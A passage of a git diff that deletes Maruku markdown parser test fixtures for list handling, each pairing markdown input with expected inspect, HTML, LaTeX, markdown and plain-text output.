-    > This is a blockquote
-    > inside a list item.
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[
-		md_el(:li,[
-			md_par(["A list item with a blockquote:"]),
-			md_el(:quote,[md_par(["This is a blockquote inside a list item."])],{},[])
-		],{:want_my_paragraph=>true},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<ul>
-<li>
-<p>A list item with a blockquote:</p>
-
-<blockquote>
-<p>This is a blockquote inside a list item.</p>
-</blockquote>
-</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item A list item with a blockquote:
-
-\begin{quote}%
-This is a blockquote inside a list item.
-
-
-\end{quote}
-
-
-\end{itemize}
-*** Output of to_md ***
-- list item with a blockquote:
-This is a blockquote inside a list
-item.
-*** Output of to_s ***
-A list item with a blockquote:This is a blockquote inside a list item.
diff --git a/vendor/plugins/maruku/spec/block_docs/list12.md b/vendor/plugins/maruku/spec/block_docs/list12.md
deleted file mode 100644
index d11b4d29..00000000
--- a/vendor/plugins/maruku/spec/block_docs/list12.md
+++ /dev/null
@@ -1,28 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-* [Maruku]: good.
-
-[maruku]: http://maruku.org/
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[
-		md_el(:li_span,[md_link(["Maruku"],"maruku"), ": good."],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_ref_def("maruku", "http://maruku.org/", {:title=>nil})
-],{},[])
-*** Output of to_html ***
-<ul>
-<li><a href="http://maruku.org/">Maruku</a>: good.</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item \href{http://maruku.org/}{Maruku}: good.
-
-\end{itemize}
-*** Output of to_md ***
--aruku: good.
-*** Output of to_s ***
-Maruku: good.
diff --git a/vendor/plugins/maruku/spec/block_docs/list2.md b/vendor/plugins/maruku/spec/block_docs/list2.md
deleted file mode 100644
index c5d80586..00000000
--- a/vendor/plugins/maruku/spec/block_docs/list2.md
+++ /dev/null
@@ -1,56 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-*   This is a list item with two paragraphs.
-
-    This is the second paragraph in the list item. You're
-only required to indent the first line. Lorem ipsum dolor
-sit amet, consectetuer adipiscing elit.
-
-*   other
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[
-		md_el(:li,[
-			md_par(["This is a list item with two paragraphs."]),
-			md_par([
-				"This is the second paragraph in the list item. You",
-				md_entity("rsquo"),
-				"re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit."
-			])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[md_par(["other"])],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<ul>
-<li>
-<p>This is a list item with two paragraphs.</p>
-
-<p>This is the second paragraph in the list item. You&#8217;re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
-</li>
-
-<li>
-<p>other</p>
-</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item This is a list item with two paragraphs.
-
-This is the second paragraph in the list item. You'{}re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-
-
-\item other
-
-
-
-\end{itemize}
-*** Output of to_md ***
--This is a list item with two paragraphs.
-This is the second paragraph in the list item. Youre only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
--ther
-*** Output of to_s ***
-This is a list item with two paragraphs.This is the second paragraph in the list item. Youre only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.other
diff --git a/vendor/plugins/maruku/spec/block_docs/list3.md b/vendor/plugins/maruku/spec/block_docs/list3.md
deleted file mode 100644
index c54662ca..00000000
--- a/vendor/plugins/maruku/spec/block_docs/list3.md
+++ /dev/null
@@ -1,64 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-*   A list item with a blockquote:
-
-    > This is a blockquote
-    > inside a list item.
-
-*   A list item with a code block:
-
-        <code goes here>
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[
-		md_el(:li,[
-			md_par(["A list item with a blockquote:"]),
-			md_el(:quote,[md_par(["This is a blockquote inside a list item."])],{},[])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[
-			md_par(["A list item with a code block:"]),
-			md_el(:code,[],{:raw_code=>"<code goes here>"},[])
-		],{:want_my_paragraph=>true},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<ul>
-<li>
-<p>A list item with a blockquote:</p>
-
-<blockquote>
-<p>This is a blockquote inside a list item.</p>
-</blockquote>
-</li>
-
-<li>
-<p>A list item with a code block:</p>
-
-<pre><code>&lt;code goes here&gt;</code></pre>
-</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item A list item with a blockquote:
-
-\begin{quote}%
-This is a blockquote inside a list item.
-
-
-\end{quote}
-
-\item A list item with a code block:
-
-\begin{verbatim}<code goes here>\end{verbatim}
-
-
-\end{itemize}
-*** Output of to_md ***
-- list item with a blockquote:
-This is a blockquote inside a list
-item.
-- list item with a code block:
-*** Output of to_s ***
-A list item with a blockquote:This is a blockquote inside a list item.A list item with a code block:
diff --git a/vendor/plugins/maruku/spec/block_docs/list4.md b/vendor/plugins/maruku/spec/block_docs/list4.md
deleted file mode 100644
index 380e5325..00000000
--- a/vendor/plugins/maruku/spec/block_docs/list4.md
+++ /dev/null
@@ -1,89 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-This is a list:
-* one
-* two
-
-This is not a list:
-* one
-ciao
-
-This is a list:
-1. one
-1. two
-
-This is not a list:
-1987. one
-ciao
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["This is a list:"]),
-	md_el(:ul,[
-		md_el(:li_span,["one"],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,["two"],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_par(["This is not a list: * one ciao"]),
-	md_par(["This is a list:"]),
-	md_el(:ol,[
-		md_el(:li_span,["one"],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,["two"],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_par(["This is not a list: 1987. one ciao"])
-],{},[])
-*** Output of to_html ***
-<p>This is a list:</p>
-
-<ul>
-<li>one</li>
-
-<li>two</li>
-</ul>
-
-<p>This is not a list: * one ciao</p>
-
-<p>This is a list:</p>
-
-<ol>
-<li>one</li>
-
-<li>two</li>
-</ol>
-
-<p>This is not a list: 1987. one ciao</p>
-*** Output of to_latex ***
-This is a list:
-
-\begin{itemize}%
-\item one
-\item two
-
-\end{itemize}
-This is not a list: * one ciao
-
-This is a list:
-
-\begin{enumerate}%
-\item one
-\item two
-
-\end{enumerate}
-This is not a list: 1987. one ciao
-*** Output of to_md ***
-This is a list:
-
--ne
--wo
-
-This is not a list: * one ciao
-
-This is a list:
-
-1.  one
-2.  two
-
-This is not a list: 1987. one ciao
-*** Output of to_s ***
-This is a list:onetwoThis is not a list: * one ciaoThis is a list:onetwoThis is not a list: 1987. one ciao
diff --git a/vendor/plugins/maruku/spec/block_docs/lists.md b/vendor/plugins/maruku/spec/block_docs/lists.md
deleted file mode 100644
index 669be9da..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists.md
+++ /dev/null
@@ -1,203 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-*   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-    Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
-    viverra nec, fringilla in, laoreet vitae, risus.
-*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-    Suspendisse id sem consectetuer libero luctus adipiscing.
-*   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
- *  Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
- *  Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
- Suspendisse id sem consectetuer libero luctus adipiscing.
-
-Ancora
-
-*   This is a list item with two paragraphs. Lorem ipsum dolor
-    sit amet, consectetuer adipiscing elit. Aliquam hendrerit
-    mi posuere lectus.
-
-    ATTENZIONE!
-
-*  Suspendisse id sem consectetuer libero luctus adipiscing.
-
-
-Ancora
-
-*   This is a list item with two paragraphs.
-
-    This is the second paragraph in the list item. You're
-only required to indent the first line. Lorem ipsum dolor
-sit amet, consectetuer adipiscing elit.
-
-*   Another item in the same list.
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[
-		md_el(:li_span,[
-			"Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_par(["Ancora"]),
-	md_el(:ul,[
-		md_el(:li,[
-			md_par([
-				"This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus."
-			]),
-			md_par(["ATTENZIONE!"])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[
-			md_par(["Suspendisse id sem consectetuer libero luctus adipiscing."])
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_par(["Ancora"]),
-	md_el(:ul,[
-		md_el(:li,[
-			md_par(["This is a list item with two paragraphs."]),
-			md_par([
-				"This is the second paragraph in the list item. You",
-				md_entity("rsquo"),
-				"re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit."
-			])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[md_par(["Another item in the same list."])],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<ul>
-<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-
-<li>Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.</li>
-</ul>
-
-<p>Ancora</p>
-
-<ul>
-<li>
-<p>This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.</p>
-
-<p>ATTENZIONE!</p>
-</li>
-
-<li>
-<p>Suspendisse id sem consectetuer libero luctus adipiscing.</p>
-</li>
-</ul>
-
-<p>Ancora</p>
-
-<ul>
-<li>
-<p>This is a list item with two paragraphs.</p>
-
-<p>This is the second paragraph in the list item. You&#8217;re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</p>
-</li>
-
-<li>
-<p>Another item in the same list.</p>
-</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-\item Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.
-
-\end{itemize}
-Ancora
-
-\begin{itemize}%
-\item This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.
-
-ATTENZIONE!
-
-
-\item Suspendisse id sem consectetuer libero luctus adipiscing.
-
-
-
-\end{itemize}
-Ancora
-
-\begin{itemize}%
-\item This is a list item with two paragraphs.
-
-This is the second paragraph in the list item. You'{}re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-
-
-\item Another item in the same list.
-
-
-
-\end{itemize}
-*** Output of to_md ***
-- Lorem ipsum dolor sit amet,
-consectetuer adipiscing elit.
-Aliquam hendrerit mi posuere
-lectus. Vestibulum enim wisi,
-viverra nec, fringilla in, laoreet
-vitae, risus.
-- Donec sit amet nisl. Aliquam semper
-ipsum sit amet velit. Suspendisse
-id sem consectetuer libero luctus
-adipiscing.
-- Donec sit amet nisl. Aliquam semper
-ipsum sit amet velit. Suspendisse
-id sem consectetuer libero luctus
-adipiscing.
-- Donec sit amet nisl. Aliquam semper
-ipsum sit amet velit. Suspendisse
-id sem consectetuer libero luctus
-adipiscing.
-- Donec sit amet nisl. Aliquam semper
-ipsum sit amet velit. Suspendisse
-id sem consectetuer libero luctus
-adipiscing.
-
-Ancora
-
-- 
-This is a list item with two
-paragraphs. Lorem ipsum dolor sit amet,
-consectetuer adipiscing elit. Aliquam
-hendrerit mi posuere lectus.
-ATTENZIONE!
-- 
-Suspendisse id sem consectetuer libero
-luctus adipiscing.
-
-Ancora
-
-- This is a list item with two
-paragraphs.
-  This is the second paragraph in the
-list item. You re only required to
-indent the first line. Lorem ipsum
-dolor sit amet, consectetuer adipiscing
-elit.
-- Another item in the same list.
-*** Output of to_s ***
-Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing.AncoraThis is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus.ATTENZIONE!Suspendisse id sem consectetuer libero luctus adipiscing.AncoraThis is a list item with two paragraphs.This is the second paragraph in the list item. Youre only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit.Another item in the same list.
diff --git a/vendor/plugins/maruku/spec/block_docs/lists10.md b/vendor/plugins/maruku/spec/block_docs/lists10.md
deleted file mode 100644
index e97c589b..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists10.md
+++ /dev/null
@@ -1,34 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-List:
-
-- è`gcc`
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["List:"]),
-	md_el(:ul,[
-		md_el(:li_span,["è", md_code("gcc")],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<p>List:</p>
-
-<ul>
-<li>&#xE8;<code>gcc</code></li>
-</ul>
-*** Output of to_latex ***
-List:
-
-\begin{itemize}%
-\item è{\colorbox[rgb]{1.00,0.93,1.00}{\tt gcc}}
-
-\end{itemize}
-*** Output of to_md ***
-List:
-
-- è`gcc`
-*** Output of to_s ***
-List:è
diff --git a/vendor/plugins/maruku/spec/block_docs/lists11.md b/vendor/plugins/maruku/spec/block_docs/lists11.md
deleted file mode 100644
index 3257b192..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists11.md
+++ /dev/null
@@ -1,23 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-- ένα
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[md_el(:li_span,["ένα"],{:want_my_paragraph=>false},[])],{},[])
-],{},[])
-*** Output of to_html ***
-<ul>
-<li>&#x3AD;&#x3BD;&#x3B1;</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item ένα
-
-\end{itemize}
-*** Output of to_md ***
-- ένα
-*** Output of to_s ***
-ένα
diff --git a/vendor/plugins/maruku/spec/block_docs/lists12.md b/vendor/plugins/maruku/spec/block_docs/lists12.md
deleted file mode 100644
index fb74a1cb..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists12.md
+++ /dev/null
@@ -1,43 +0,0 @@
-List Items with non alphanumeric content
-*** Parameters: ***
-{}
-*** Markdown input: ***
-* A
-* ?
-* B
-
-*** Output of inspect ***
-md_el(:document,[
-  md_el(:ul,[
-    md_el(:li_span,["A"],{:want_my_paragraph=>false},[]),
-    md_el(:li_span,["?"],{:want_my_paragraph=>false},[]),
-    md_el(:li_span,["B"],{:want_my_paragraph=>false},[])
-  ],{},[])
-],{},[])
-
-*** Output of to_html ***
-<ul>
-<li>A</li>
-
-<li>?</li>
-
-<li>B</li>
-</ul>
-
-*** Output of to_latex ***
-\begin{itemize}%
-\item A
-\item ?
-\item B
-
-\end{itemize}
-
-*** Output of to_md ***
-- A
-- ?
-- B
-
-*** Output of to_s ***
-A?B
-
-
diff --git a/vendor/plugins/maruku/spec/block_docs/lists6.md b/vendor/plugins/maruku/spec/block_docs/lists6.md
deleted file mode 100644
index cdde0b2b..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists6.md
+++ /dev/null
@@ -1,41 +0,0 @@
-## Nested
-
-*	Tab
-	*	Tab
-		*	Tab
-
-Here's another:
-
-1. First
-2. Second:
-	* Fee
-	* Fie
-	* Foe
-3. Third
-
-Same thing but with paragraphs:
-
-1. First
-
-2. Second:
-	* Fee
-	* Fie
-	* Foe
-
-3. Third
-
-
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-*** Output of inspect ***
-md_el(:document,[],{},[])
-*** Output of to_html ***
-
-*** Output of to_latex ***
-
-*** Output of to_md ***
-
-*** Output of to_s ***
-
diff --git a/vendor/plugins/maruku/spec/block_docs/lists9.md b/vendor/plugins/maruku/spec/block_docs/lists9.md
deleted file mode 100644
index 454c8708..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists9.md
+++ /dev/null
@@ -1,64 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-- Due
-  1. tre
-  1. tre
-  1. tre
-- Due
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ul,[
-		md_el(:li,[
-			md_par(["Due"]),
-			md_el(:ol,[
-				md_el(:li_span,["tre"],{:want_my_paragraph=>false},[]),
-				md_el(:li_span,["tre"],{:want_my_paragraph=>false},[]),
-				md_el(:li_span,["tre"],{:want_my_paragraph=>false},[])
-			],{},[])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[md_par(["Due"])],{:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<ul>
-<li>
-<p>Due</p>
-
-<ol>
-<li>tre</li>
-
-<li>tre</li>
-
-<li>tre</li>
-</ol>
-</li>
-
-<li>
-<p>Due</p>
-</li>
-</ul>
-*** Output of to_latex ***
-\begin{itemize}%
-\item Due
-
-\begin{enumerate}%
-\item tre
-\item tre
-\item tre
-
-\end{enumerate}
-
-\item Due
-
-
-
-\end{itemize}
-*** Output of to_md ***
--ue* tre
-* tre
-* tre
--ue
-*** Output of to_s ***
-DuetretretreDue
diff --git a/vendor/plugins/maruku/spec/block_docs/lists_after_paragraph.md b/vendor/plugins/maruku/spec/block_docs/lists_after_paragraph.md
deleted file mode 100644
index 2e8c9fe1..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists_after_paragraph.md
+++ /dev/null
@@ -1,212 +0,0 @@
-This should not trigger the list
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Paragraph, list with no space:
-* ciao
-
-Paragraph, list with 1 space:
- * ciao
-
-Paragraph, list with 3 space:
-   * ciao
-
-Paragraph, list with 4 spaces:
-    * ciao
-
-Paragraph, list with 1 tab:
-	* ciao
-
-Paragraph (1 space after), list with no space: 
-* ciao
-
-Paragraph (2 spaces after), list with no space:  
-* ciao
-
-Paragraph (3 spaces after), list with no space:   
-* ciao
-
-Paragraph with block quote:
-> Quoted
-
-Paragraph with header:
-### header ###
-
-Paragraph with header on two lines:
-header
-------
-
-
-Paragraph with html after
-<div></div>
-
-Paragraph with html after, indented:
-     <em>Emphasis</em>
-
-Paragraph with html after, indented: <em>Emphasis</em> *tralla* <em>Emph</em>
-
-Paragraph with html after, indented: <em>Emphasis *tralla* Emph</em>
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Paragraph, list with no space: * ciao"]),
-	md_par(["Paragraph, list with 1 space: * ciao"]),
-	md_par(["Paragraph, list with 3 space: * ciao"]),
-	md_par(["Paragraph, list with 4 spaces: * ciao"]),
-	md_par(["Paragraph, list with 1 tab: * ciao"]),
-	md_par(["Paragraph (1 space after), list with no space: * ciao"]),
-	md_par([
-		"Paragraph (2 spaces after), list with no space:",
-		md_el(:linebreak,[],{},[]),
-		"* ciao"
-	]),
-	md_par([
-		"Paragraph (3 spaces after), list with no space: ",
-		md_el(:linebreak,[],{},[]),
-		"* ciao"
-	]),
-	md_par(["Paragraph with block quote:"]),
-	md_el(:quote,[md_par(["Quoted"])],{},[]),
-	md_par(["Paragraph with header:"]),
-	md_el(:header,["header"],{:level=>3},[]),
-	md_par(["Paragraph with header on two lines:"]),
-	md_el(:header,["header"],{:level=>2},[]),
-	md_par(["Paragraph with html after ", md_html("<div></div>")]),
-	md_par([
-		"Paragraph with html after, indented: ",
-		md_html("<em>Emphasis</em>")
-	]),
-	md_par([
-		"Paragraph with html after, indented: ",
-		md_html("<em>Emphasis</em>"),
-		" ",
-		md_em(["tralla"]),
-		" ",
-		md_html("<em>Emph</em>")
-	]),
-	md_par([
-		"Paragraph with html after, indented: ",
-		md_html("<em>Emphasis *tralla* Emph</em>")
-	])
-],{},[])
-*** Output of to_html ***
-<p>Paragraph, list with no space: * ciao</p>
-
-<p>Paragraph, list with 1 space: * ciao</p>
-
-<p>Paragraph, list with 3 space: * ciao</p>
-
-<p>Paragraph, list with 4 spaces: * ciao</p>
-
-<p>Paragraph, list with 1 tab: * ciao</p>
-
-<p>Paragraph (1 space after), list with no space: * ciao</p>
-
-<p>Paragraph (2 spaces after), list with no space:<br />* ciao</p>
-
-<p>Paragraph (3 spaces after), list with no space: <br />* ciao</p>
-
-<p>Paragraph with block quote:</p>
-
-<blockquote>
-<p>Quoted</p>
-</blockquote>
-
-<p>Paragraph with header:</p>
-
-<h3 id="header_1">header</h3>
-
-<p>Paragraph with header on two lines:</p>
-
-<h2 id="header_2">header</h2>
-
-<p>Paragraph with html after <div></div></p>
-
-<p>Paragraph with html after, indented: <em>Emphasis</em></p>
-
-<p>Paragraph with html after, indented: <em>Emphasis</em> <em>tralla</em> <em>Emph</em></p>
-
-<p>Paragraph with html after, indented: <em>Emphasis *tralla* Emph</em></p>
-*** Output of to_latex ***
-Paragraph, list with no space: * ciao
-
-Paragraph, list with 1 space: * ciao
-
-Paragraph, list with 3 space: * ciao
-
-Paragraph, list with 4 spaces: * ciao
-
-Paragraph, list with 1 tab: * ciao
-
-Paragraph (1 space after), list with no space: * ciao
-
-Paragraph (2 spaces after), list with no space:\newline * ciao
-
-Paragraph (3 spaces after), list with no space: \newline * ciao
-
-Paragraph with block quote:
-
-\begin{quote}%
-Quoted
-
-
-\end{quote}
-Paragraph with header:
-
-\hypertarget{header_1}{}\subsubsection*{{header}}\label{header_1}
-
-Paragraph with header on two lines:
-
-\hypertarget{header_2}{}\subsection*{{header}}\label{header_2}
-
-Paragraph with html after 
-
-Paragraph with html after, indented: 
-
-Paragraph with html after, indented:  \emph{tralla} 
-
-Paragraph with html after, indented:
-*** Output of to_md ***
-Paragraph, list with no space: * ciao
-
-Paragraph, list with 1 space: * ciao
-
-Paragraph, list with 3 space: * ciao
-
-Paragraph, list with 4 spaces: * ciao
-
-Paragraph, list with 1 tab: * ciao
-
-Paragraph (1 space after), list with no
-space: * ciao
-
-Paragraph (2 spaces after), list with
-no space:  
-* ciao
-
-Paragraph (3 spaces after), list with
-no space:  
-* ciao
-
-Paragraph with block quote:
-
-Quoted
-
-Paragraph with header:
-
-### header
-
-Paragraph with header on two lines:
-
-## header
-
-Paragraph with html after
-
-Paragraph with html after, indented:
-
-Paragraph with html after, indented:
-tralla
-
-Paragraph with html after, indented:
-*** Output of to_s ***
-Paragraph, list with no space: * ciaoParagraph, list with 1 space: * ciaoParagraph, list with 3 space: * ciaoParagraph, list with 4 spaces: * ciaoParagraph, list with 1 tab: * ciaoParagraph (1 space after), list with no space: * ciaoParagraph (2 spaces after), list with no space:* ciaoParagraph (3 spaces after), list with no space: * ciaoParagraph with block quote:QuotedParagraph with header:headerParagraph with header on two lines:headerParagraph with html after Paragraph with html after, indented: Paragraph with html after, indented:  tralla Paragraph with html after, indented:
diff --git a/vendor/plugins/maruku/spec/block_docs/lists_ol.md b/vendor/plugins/maruku/spec/block_docs/lists_ol.md
deleted file mode 100644
index 3d269736..00000000
--- a/vendor/plugins/maruku/spec/block_docs/lists_ol.md
+++ /dev/null
@@ -1,270 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-1.   Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
-    Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi,
-    viverra nec, fringilla in, laoreet vitae, risus.
- 2.   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-    Suspendisse id sem consectetuer libero luctus adipiscing.
-3.   Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
- 3.  Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
-Suspendisse id sem consectetuer libero luctus adipiscing.
- 4.  Donec sit amet nisl. Aliquam semper ipsum sit amet velit.
- Suspendisse id sem consectetuer libero luctus adipiscing.
-
-Ancora
-
-1.  This is a list item with two paragraphs. Lorem ipsum dolor
-    sit amet, consectetuer adipiscing elit. Aliquam hendrerit
-    mi posuere lectus.
-
-    ATTENZIONE!
-
-    - Uno
-    - Due
-      1. tre
-      1. tre
-      1. tre
-    - Due
-
-2.  Suspendisse id sem consectetuer libero luctus adipiscing.
-
-
-Ancora
-
-*   This is a list item with two paragraphs.
-
-    This is the second paragraph in the list item. You're
-only required to indent the first line. Lorem ipsum dolor
-sit amet, consectetuer adipiscing elit.
-
-*   Another item in the same list.
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ol,[
-		md_el(:li_span,[
-			"Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[]),
-		md_el(:li_span,[
-			"Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse id sem consectetuer libero luctus adipiscing."
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_par(["Ancora"]),
-	md_el(:ol,[
-		md_el(:li,[
-			md_par([
-				"This is a list item with two paragraphs. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus."
-			]),
-			md_par(["ATTENZIONE!"]),
-			md_el(:ul,[
-				md_el(:li,[md_par(["Uno"])],{:want_my_paragraph=>false},[]),
-				md_el(:li,[
-					md_par(["Due"]),
-					md_el(:ol,[
-						md_el(:li_span,["tre"],{:want_my_paragraph=>false},[]),
-						md_el(:li_span,["tre"],{:want_my_paragraph=>false},[]),
-						md_el(:li_span,["tre"],{:want_my_paragraph=>false},[])
-					],{},[])
-				],{:want_my_paragraph=>true},[]),
-				md_el(:li,[md_par(["Due"])],{:want_my_paragraph=>false},[])
-			],{},[])
-		],{:want_my_paragraph=>true},[]),
-		md_el(:li,[
-			md_par(["Suspendisse id sem consectetuer libero luctus adipiscing."])
-		],{:want_my_paragraph=>false},[])
-	],{},[]),
-	md_par(["Ancora"]),
-	md_el(:ul,[
-		md_el(:li,[
-			md_par(["This is a list item with two paragraphs."]),
-			md_par([
-				"This is the second paragraph in the list item. You",
-				md_entity("rsquo"),
-				"re only required to indent the first line. Lorem ipsum dolor sit amet, consectetuer adipiscing elit."
-			])
